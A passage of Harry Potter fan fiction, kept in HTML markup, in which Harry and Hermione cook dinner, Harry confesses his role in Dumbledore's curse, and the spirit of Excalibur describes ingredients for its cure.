&#8220;I&#8217;m starving.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No! I&#8217;m going to make spaghetti,\nand I don&#8217;t want you ruining your appetite. Now put those away.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry frowned, but did as she said.\nHermione followed him to the kitchen. He returned the cheese and crackers to\nthe refrigerator, but while his back was turned, he popped a chunk of cheese\ninto his mouth. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I saw that!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Damn.&#8221; He muttered through a\nmouthful of cheese. He swallowed, and turned back to Hermione, a big grin\nlighting his face. &#8220;When did you get X-Ray vision?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione snorted, &#8220;What X-Ray\nvision? I just know you Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah, I keep forgetting that.&#8221; He\nsaid. &#8220;What was that about spaghetti?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m going to make spaghetti for\ndinner. Would you like to help?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sure! Just tell me what to do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay, first tell me that you have\nall the ingredients. If not, we have to go to the market.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked in the cupboards,\ndragging out various materials. Hermione looked over the items.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hmm&#8230; Pasta, ground meat, bread,\nbutter, and garlic salt.&#8221; She frowned, &#8220; no spaghetti sauce. I don&#8217;t suppose\nyou have any tomatoes or tomato sauce either.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry burrowed even further into\nthe cabinets until only his legs were sticking out. &#8220;Nope,&#8221; he called back. &#8220;No\ntomato sauce in here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Guess it&#8217;s a trip to the market\nthen,&#8221; she said. &#8220;You want to come with me, or stay here?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;ll stay here and get things started.\nBesides, I don&#8217;t know what you need.&#8221; He said, scratching his head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, okay.&#8221; Hermione raised her\nwand, and summoned her purse. &#8220;I&#8217;ll be back in a few minutes.&#8221; She disappeared\nwith the customary &#8220;pop.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry set about getting dinner\nstarted. He smeared butter on the bread and sprinkled garlic salt over it.\nBreaking the noodles, he set them in a pot to boil, and put the meat in hot\nwater to defrost. He wanted it warm enough that by the time Hermione got back\nit would be ready to cook. Giving everything a quick glance assured him that\nthe only thing left for him to do was to set the table. Grabbing two plates,\nsilverware, and napkins, he set their places. Harry set the garlic bread on a\ntray, and slid it into the oven. He set the temperature at 200 degrees, and\nseated himself at the bar. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">It wasn&#8217;t long before boredom\novertook him, and he was looking for something else to do. Reading was out of\nthe question, he had done far to much of that lately. His eyes fell on a large\nbutcher knife, and he picked it up. He tossed it into the air, and deftly\ncaught it by the blade. He balanced it on its tip in the center of his palm,\nand held it there with his mind. Harry moved his hand from under the utensil\nand caused it to spin rapidly. He called another equally large knife from a\ndrawer and set it to spinning in the opposite direction. His eyes narrowed, and\nhe spun the blades even faster. They were spinning at such a rate that they had\nbecome invisible. He eyed them for a moment, judging speed, distance, and rotation.\nQuick as a blink, he reached out and caught both by their handles. The knives\nspun through his fingers, into the air, and right back into his waiting hands.\nIt was a disturbing way to pass the time, but since he was Harry Potter, he was\nallowed to do disturbing things. He hadn&#8217;t been playing long when his attention\nwavered and he dropped one of the knives. He tried to regain his concentration,\nbut it was no use. He hurled the knives into a cutting board hanging above the\nsink, got up and went to the bathroom. </p>\n\n<p class="MsoBodyTextIndent2">Harry leaned on the sink and stared at his\nreflection in the mirror. His mind was a jumble and he found it hard to\nconcentrate. His thoughts kept settling on Hermione, and how right it felt to\nhave her by his side again. Thinking about her got parlayed into thinking about\ntheir quest, which led to thoughts of Dumbledore&#8217;s illness and its cause. He\nfelt so guilty about not telling Hermione the truth, but he was afraid of how\nshe would react. Only three people knew what really happened that night, and\ntwo of them weren&#8217;t talking. And once again, what was meant for him had\nhappened to someone he cared about. What made it worse, was that this time it\nreally was his fault. He decided that since Hermione had dropped everything she\nwas doing to help him, then the least he could do was level with her and hope\nshe didn&#8217;t overreact.</p>\n\n<p class="MsoBodyTextIndent2">Harry&#8217;s eyes settled on the little bit of his scar\nthat was visible under his hair. The constant reminder of what it meant to be\nHarry Potter. He pulled his hair back from his face and studied it. As he had\naged, so had his scar, it was faded and didn&#8217;t stand out from his tan skin like\nit had when he was younger. It was still noticeable, but combing his hair to\nthe right so that it fell over his right eye concealed it perfectly. He shook\nhis head, clearing it of all disturbing thoughts and went back to the kitchen.\nHe walked in just as Hermione got back. Fortunately he stopped before he walked\nright into her apparation point. As it was, he got there in time to pluck the\nbag from her hand as soon as she arrived.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Allow me to take that.&#8221; Harry said.</p>\n\n<p class="MsoBodyTextIndent2">Hermione brushed her hair back from where it had\ncome undone from her ponytail. &#8220;Thanks Harry.&#8221; She looked around. &#8220;You&#8217;ve been\nbusy.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry emptied the bag. &#8220;You get everything you needed?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes.&#8221; Hermione started adjusting the stove&#8217;s\nsettings. &#8220;I see the noodles are almost done. She turned the heat down a little\nmore before giving the ground meat her attention.</p>\n\n<p class="MsoBodyTextIndent2">Harry wanted to say something, do something to\nhelp, but the sight of her puttering around the kitchen preparing dinner struck\na chord deep within him and he had to resist the urge to walk up and wrap his\narms around her. He settled for staring at her, his gaze traveling up and down\nher body while she worked. Without warning, he found himself imagining what it\nwould be like to caress her while she cooked. His eyes narrowed and his mouth\ngrew dry. In order to keep his thoughts clean, he started talking, and he\ndidn&#8217;t care what he said.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I ran into Sirius and Athena today.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You did?&#8221; said Hermione stirring the meat in a\npan. &#8220;What&#8217;s the verdict? They serious or not?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry snorted laughter. &#8220;Oh they&#8217;re serious\nalright.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Really? It&#8217;s about time.&#8221; She poured the spaghetti\nsauce into the pan with the meat. &#8220;Where&#8217;d you run into them at?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Library.&#8221; He rubbed the back of his neck.\n&#8220;Hermione I need to tell you something, and I want you to promise me that\nyou&#8217;ll try not to overreact.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione wiped her hands on a dish - towel and\nturned to face him. &#8220;This doesn&#8217;t sound good.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry cleared his throat. &#8220;I&#8217;m the reason\nDumbledore is dying.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry! We&#8217;ve been through all this before. Anytime\nsomeone gets hurt protecting you, you go on one of your patented guilt trips.\nWhen are you going to realize that the people that defend you do so of their\nown free will? It&#8217;s not like you made Voldemort&#8217;s spell hit him!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry grimaced, &#8220;Actually, I kind of did.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione&#8217;s eyes widened. &#8220;What?&#8221; She folded her\narms across her chest. &#8220;I think you had better explain.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Okay. When I told you that I was close enough to\nhear the curse, I was only telling half the truth.&#8221; He winced in anticipation,\nbut she did nothing but narrow her eyes. &#8220;The curse was meant for me. Voldemort\nfired it at me and I swung Excalibur to intercept it. The sword&#8217;s blade sent it\nback the way it came and Voldemort dodged. Dumbledore didn&#8217;t. It hit him full\non, and he screamed. Voldemort watched him crumple, and his distraction allowed\nme to get close enough to attack. I waited for him to turn around, and when he\ndid I impaled him with the sword.&#8221; Harry took a deep breath before continuing.\n&#8220;I was face to face with him, our eyes locked. He tried to speak, but all that\ncame out was blood bubbles. I twisted the blade and his eyes bulged. Somehow,\nhe managed to croak out a prophecy. He said that in the days of my quest, a\nchild would be born that would be his gateway back to the realm of the living.\nI told him I would save Dumbledore, and that I was sending <b>him</b> to Hell.\nI yanked the sword from his chest, spun and took off his head.&#8221; He paused to\nlook at Hermione. She stood there with her mouth hanging open. &#8220;Anyway, I just\nwanted you to know the whole story.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione stared at him for a long moment, not\nsaying anything. &#8220;I&#8217;m glad you decided to tell me,&#8221; she said finally. &#8220;Just\nbecause you hit the curse back at Voldemort and it hit Dumbledore instead does\nnot make it your fault. You couldn&#8217;t have known that it was going to hit\nDumbledore.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s just it Hermione! I shouldn&#8217;t have\nintercepted the curse.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;But it would have hit you, and then you&#8217;d be the\none dying.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No! You don&#8217;t understand. The curse wouldn&#8217;t have\naffected me.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, what are you talking about?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hermione, I was wearing the scabbard! I was\nprotected!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Whoa Harry! I think you&#8217;d better start from the\nbeginning.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Do you remember telling me that Excalibur was\nembedded in a stone in the cemetery, and that it was disguised as a cross?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Well, you were right. I never saw so many crosses\nin my life. I thought I&#8217;d never find the right one. Fortunately, I spotted one\ncross that seemed slightly out of proportion and I touched it. The illusion\nvanished, and in my hand was Excalibur. I started towards the area where\nDumbledore and Voldemort were fighting, but the sword wouldn&#8217;t let me move.\nThen out of nowhere, I hear a voice in my head. It told me to look at the top\nof the boulder. I did, and there was a scabbard and harness. I picked it up and\nthe voice told me to put it on. I did as it instructed, and it said that as\nlong as I wore it, nothing could harm me.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s incredible!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah.&#8221; Harry said bitterly. &#8220;I should have\nlistened, instead of trying to get Voldemort with his own spell. I should have\nlet it hit me, shown him that his magic was useless against me, then killed\nhim. Now, because of me Dumbledore is dying!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry, calm down. I&#8217;m sure Dumbledore doesn&#8217;t\nblame you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;No, he doesn&#8217;t. But he should! I blame me, so\nshould he! So should you!&#8221; Harry scrubbed his face with his hands. &#8220;But he&#8217;s\nnot, and neither are you.&#8221; </p>\n\n<p class="MsoBodyTextIndent2">&#8220;No, I&#8217;m not angry, but keeping secrets is no way\nto start a relationship. Is there anything else I need to know? Anything you&#8217;d\nlike to tell me?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Well, I thought I&#8217;d tell you about my travels over\ndinner, and if I think of anything else I&#8217;ll be sure and let you know. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thank you.&#8221; Hermione stepped closer and looked up\ninto his eyes. &#8220;Harry, all I ask is that you keep me informed about what&#8217;s\ngoing on in that head of yours.&#8221; She poked him in the forehead as she said the\nlast bit. &#8220;I can&#8217;t help you deal with things if I don&#8217;t know what it is you&#8217;re\ndealing with.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry took her hand and brought it to his lips. He\nplaced a light kiss to her fingers. &#8220;Thank you for understanding.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione nodded. &#8220;I&#8217;m going to need that back if\nyou want dinner tonight.&#8221; She said, gently tugging her hand free.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;What? Oh! Of course.&#8221; Harry blushed. &#8220;Now that\nI&#8217;ve made a complete ass of myself, I think I better leave you now.&#8221; He didn&#8217;t\ngive her the chance to say anything else, and bolted from the room.</p>\n\n<p class="MsoBodyTextIndent2">Harry ended up in the living room, and found\nhimself staring at the object he had just finished discussing. He walked over\nand laid his hand on the hilt. Immediately, Excalibur awoke.</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;Master?&#8221;</i> Said the voice in Harry&#8217;s head.\nThis time, the voice wasn&#8217;t so masculine, and it wavered as it spoke. Harry\nknelt down and rested his hands on the pommel. He closed his eyes, and suddenly\nhe was resting under a huge tree, next to a tranquil lake. <i>&#8220;You are\ntroubled.&#8221;</i> The voice came from the lake, and as it spoke a beautiful young\nwoman arose from the azure waters. She looked exactly like Hermione. </p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yes Callie. I am troubled.&#8221; Harry said. He stood\nup and wrapped his cape around the nude girl.</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;Tell me what troubles you master.&#8221;</i> </p>\n\n<p class="MsoBodyTextIndent2">&#8220;It&#8217;s Hermione. I have this very strong instinct\ntelling me not to become intimate with her just yet. But I have an even\nstronger instinct that wants me to go ahead.&#8221; They were having this\nconversation telepathically, so anybody watching wouldn&#8217;t think Harry was\ntalking to himself.</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;Master, it has been my experience from\nobserving those I&#8217;ve known that when a basic instinct is in conflict with any\nother instinct, it is best to ignore the more primal one. Something deep inside\nyou warns that to become intimate would be dangerous, so you must heed that\nfeeling.&#8221; </i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;Not dangerous Callie, disastrous.&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;You are a strong warrior and the most powerful\nsorcerer that I have ever encountered. You will do what is right.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;How can you trust me so completely? You never did\nbefore.&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;I have touched her. She who&#8217;s form I took from\nyour mind the first night we met, and she trusts you implicitly. How can I do\nless?&#8221;</i> The Hermione look alike smiled.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thank you Callie. You&#8217;ve helped a lot. I also\nwanted to thank you for not appearing to her like this.&#8221; He indicated her\nnakedness.</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;I could not even if I had wanted to. It would\nhave been far too traumatic for her to meet me like this. When I am touched, I\ntake the face of that person&#8217;s special someone. In this manner, I won&#8217;t upset\nthe person too much when I communicate with him. It also enhances the bond\nbetween the two of us.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah well, thanks for at least getting dressed for\nher.&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;I took the form she was thinking about. You, as\nyou were a day ago.&#8221; </i>&nbsp;Callie cracked\na devilish grin. <i>&#8220;Her mind is a much cleaner place than yours is.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;Hey! I&#8217;m not that bad.&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;I know, I&#8217;m teasing. As I told you once before,\nI was created by the Lady of The Lake. It was she that first gave me form, and\nmy natural form mirrors hers. The Lady never wore clothes, and neither do I\nwhen I take female form. I can&#8217;t. The first male I met was Merlin, then Uther\nof Pendragon and then Great Arthur himself, and now you. I appeared to them in\nThe Lady&#8217;s form, but you had a special someone even though you weren&#8217;t aware of\nit yet, and that was Hermione. She was the first female that had ever touched\nme other than The Lady, and I sensed that you were her special someone. I\ncouldn&#8217;t very well appear to her in your nude form now could I?&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, and I thank you for that.&#8221; Harry laughed. An idea\nstruck him suddenly, and before he could stop himself, he blurted out a\nquestion. &#8220;Callie, the first time we fought together, I used you to intercept a\nspell. Did you recognize it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Callie shuddered and pulled the cape tighter around her. <i>&#8220;I\ndid indeed. It was the most terrible of curses. The Mortificare Deteriorare:\nThe Wasting Death. A curse so horrible that not even Merlin himself would dare\nto use it.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was shocked. All this time, he had someone that knew\nall about the curse that was ailing Dumbledore right under his nose and he\nhadn&#8217;t even thought to ask her. &#8220;Why? Why was Merlin afraid to use it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;The Wasting Death does not kill outright. It causes\nthe body to waste away, the senses to stop working, the flesh to rot, the\nmuscles to wither, the&#8230;&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry held up a hand to stop her, his face turning\nslightly green. &#8220;I don&#8217;t need the list of symptoms Callie. Tell me more about\nthe curse itself.&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;The spell was old, very old even in Merlin&#8217;s time. It\nwas feared more than all the Unforgivable Curses combined. The Imperio Curse\nhappened on a daily basis, The Cruciatus Curse was a means of interrogation,\nThe Killing Curse was used in battle constantly. But no one dared use the\nWasting Death. It had the bad habit of rebounding onto the caster. One had to\nhave incredible power and hatred to even attempt the spell. When I felt the\npower behind that curse aimed at you, I feared for your safety. Even though you\nwore my scabbard, and used me to intercept it, I wasn&#8217;t sure you would come\nfrom the encounter unharmed. Never have I felt such power! It is well that your\npower far exceeded that of Voldemort or you would have perished.</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To\nlose concentration during casting would cause the spell to afflict the caster\ninstead of the target. The Wasting Death did not cause death, but instead\nprolonged the life of the afflicted. The stronger the person afflicted, the\nlonger their torment. In the entire known history of magic, only Merlin himself\never found the cure for it.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry perked up at that. &#8220;He did? What was it?&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;That I do not know. I&#8217;m aware of only two of the ingredients\nneeded, and from what Merlin told Arthur, one is incredibly dangerous, and the\nother is incredibly inconvenient.&#8221; </i>&nbsp;Harry had sat up, and was listening intently.</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go on, what were they?&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;The most dangerous one was the boiling blood of a\nFireDrake.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;A what?&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Firedrake. It&#8217;s a type of Fire Dragon. They are very\nrare.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>&#8220;Great! Where do I find this rare type of dragon?&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;They&#8217;re not rare in numbers, but rare in occurrences.\nThey live around volcanoes, and reside in molten rock. They are by far the most\ndangerous creatures in the world.&nbsp;\nNothing made by mortals can withstand the wrath of a FireDrake. I have\nnever even heard of one being killed in all of my existence.&#8221;&nbsp; </i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Obviously Merlin found a way.&#8221;</p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;No, he didn&#8217;t make the cure, he found it.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2" style="text-indent:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You said, &#8220;nothing made by mortals can withstand the\nwrath of a FireDrake.&#8221; I take that to mean that in order to get the blood I\nneed to use something made by an immortal. Right?&#8221;<i> </i></p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;Yes. There are many artifacts scattered\nthroughout the world that were made by immortal hands.&#8221; </i>Callie puffed out\nher chest proudly. <i>&#8220; I happen to be the most powerful. The other ingredient\nis most inconvenient for a wizard. You must cast a summoning spell that will\nalert the Alicorn Nation that you need their assistance.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;What&#8217;s so bad about that? Summoning spells are\nchild&#8217;s play for Hermione. She can cast them in her sleep.&#8221; Harry said, and\nthen scratched his head. &#8220;What&#8217;s an Alicorn?&#8221; </p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;An Alicorn is a very aggressive, very skittish\nflying unicorn. It&#8217;s not the summoning spell that is inconvenient; it&#8217;s the\nagreement that goes with it. When you summon an Alicorn, you are agreeing to\nrefrain from performing <b>any</b> magic at all from the time you summon it\nuntil it has completed its task. The Alicorn Nation will respond to the summons\nby dispatching the nearest Alicorn. The Alicorn will only make contact when it\nis satisfied that the summoner is trustworthy. If the agreement is broken, the\nAlicorn will disappear without making contact, and the Nation will not respond\nto another summons.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wow! No wonder it&#8217;s inconvenient. Still, tell me\nhow to summon the thing.&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;You cannot. Only a virgin female can summon an\nAlicorn.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;Aha! That&#8217;s why that little voice warned me to\nkeep my hands to myself! Hermione has to perform the spell to summon the\nAlicorn! Then what?&#8221; Harry was fairly bouncing up and down on his knees.</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;An Alicorn can only be approached by the\nvirgin, and its only weakness is magic, which is why they demand that no magic\nis used. I wish I could tell you more, but Merlin is the only one to know them\nall. He found the cure in a book, and was telling Arthur where, and what all\nthe ingredients were, but Arthur grew bored and ordered him to get to the\npoint.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;What was his point?&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;Merlin was trying to tell him that he was going\nto write both the curse and its cure in another book. That way the cure would\nnot become lost again.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">&#8220;What book did he write it in? Do you know that?&#8221;</p>\n\n<p class="MsoBodyTextIndent2"><i>&#8220;Yes. Merlin&#8217;s Memoirs or something like that.\nIt shouldn&#8217;t be that hard to find, it was very popular reading for wizards a\nthousand years ago.&#8221;</i></p>\n\n<p class="MsoBodyTextIndent2">Harry eyes were very wide as he absorbed all this\ninformation. &#8220;Thanks Callie. I&#8217;m going to go tell all this to Hermione so we\ncan start looking for that book. At least now we have a name to go on.&#8221; He\nstood up and escorted her back to the lake. The cape slid from her body as she\nslipped beneath the waters.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh! By the way, do you know what happened six\nhundred years ago that would cause a number of rare and priceless books to go\nmissing?&#8221; Harry called after her.</p>\n\n<p class="MsoBodyTextIndent2">Callie&#8217;s voice rose from the waves.<i> &#8220;It is part\nof your history Master. Search your memory.&#8221; </i></p>\n\n<p class="MsoBodyTextIndent2">Harry stood up and patted the pommel in thanks. He\nheaded for the kitchen, and found Hermione finishing up dinner. &#8220;Hey, I&#8217;ve got\ngreat news!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione turned, the pot of spaghetti in her hands.\n&#8220;Really? Grab that pan of garlic bread, and tell me about it.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry did as she asked, and followed her into the\ndining room. He sat down the pan, while she placed the pot on the table. He\npulled out her chair for her, and then hustled back into the kitchen for their\ndrinks. Harry popped the tops on two butterbeers, and poured them into glasses.\nHe was tempted to just take the bottles to the table, but decided that even\nthough they were home, Hermione deserved a little bit of class. He placed the\nglasses on a tray, and took them back to the dining room. He presented her\ndrink with a flourish.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Your beverage Madam.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Hermione giggled as she took her glass off the\ntray. &#8220;Thank you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">Harry went back to his chair, and started fixing\nhis plate. When he finished, they said Grace and began eating. He was debating\non how much to share, and decided that he would go ahead with his planned\ndinner conversation, and save the curse stuff for later.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know I told you I had great news, but I&#8217;d rather\nwait until after dinner for that if you don&#8217;t mind.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s fine, I can wait.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Thanks. I had planned on telling you about my\ntravels.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;That&#8217;s right! I can&#8217;t believe I forgot.&#8221; Hermione\nsmacked her forehead.</p>\n\n<p class="MsoBodyTextIndent2">Harry scratched his head. &#8220;Hmmmm&#8230;After we\ngraduated, I went back to the Dursley&#8217;s one last time.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Oh Harry! You didn&#8217;t!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, I did.&#8221; Harry said grimly. &#8220;I had a lot of\nunfinished business with them. I told them that if it hadn&#8217;t been for them, I\ncould have had an almost enjoyable childhood, and that when I had children of\nmy own I damn sure knew the way NOT to raise them. I also told them about my\nfortune that was under their noses the entire time.&#8221; He laughed. &#8220;You should\nhave seen their faces!&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I can imagine.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Anyway, I gloated a bit, threatened them with\nbodily harm, and in general made an asshole out of myself. I figured since they\nhad been doing it to me for my entire existence, turn about was fair play. I\ngave them a small glimpse of my true power, and&#8230;&#8221; Harry paused.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;And?&#8221; Hermione asked.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I made Dudley wet himself.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;You did what?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I scared him so bad that he wet himself. Right in\nfront of his parents and Aunt Marge.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Harry. That was beneath you.&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;I know, I know. I felt a little bad, but he had it\ncoming. I went back outside, hopped on Sirius&#8217; motorcycle that he gave me as a\ngraduation present, and headed home. When I got there, Sirius told me to get\npacked, we were going on vacation. I didn&#8217;t ask where, because I didn&#8217;t really\ncare. I wanted to send you postcards, but Sirius told me the idea of vacation\nis to take a break from everything you know. Well, first we hit Paris, stayed\nthere a couple of weeks and I received my first introduction to Sirius&#8217; lady\nkiller charms. That man is James Bloody Bond! Everywhere we went, ladies threw\nthemselves at him. He&#8217;d make a date with one for one night, and someone else\nthe night after. Then we hopped over to Rome for a month, and Sirius met the\nCountess. After that fiasco, he decided that Italy wasn&#8217;t really safe for us,\nand we took off for Athens. We traveled by plane, train, boat, car, broom, and\neven walked during our travels. We weren&#8217;t in Athens long before Sirius upset a\npowerful follower of Hecate. He was seeing her daughter, a girl that was only a\nyear older than I was at the time. We left Greece in a hurry, and decided to\nsee the sights of the Orient.&#8221; Harry paused to take a long drink from his\nglass.</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Wow! You certainly got around didn&#8217;t you?&#8221;</p>\n\n<p class="MsoBodyTextIndent2">&#8220;Yeah, but that&#8217;s only half of it. I didn&#8217;t really\ncare for the Orient very much, although I did pick up some nice souvenirs.&#8221;\nHarry snapped his fingers 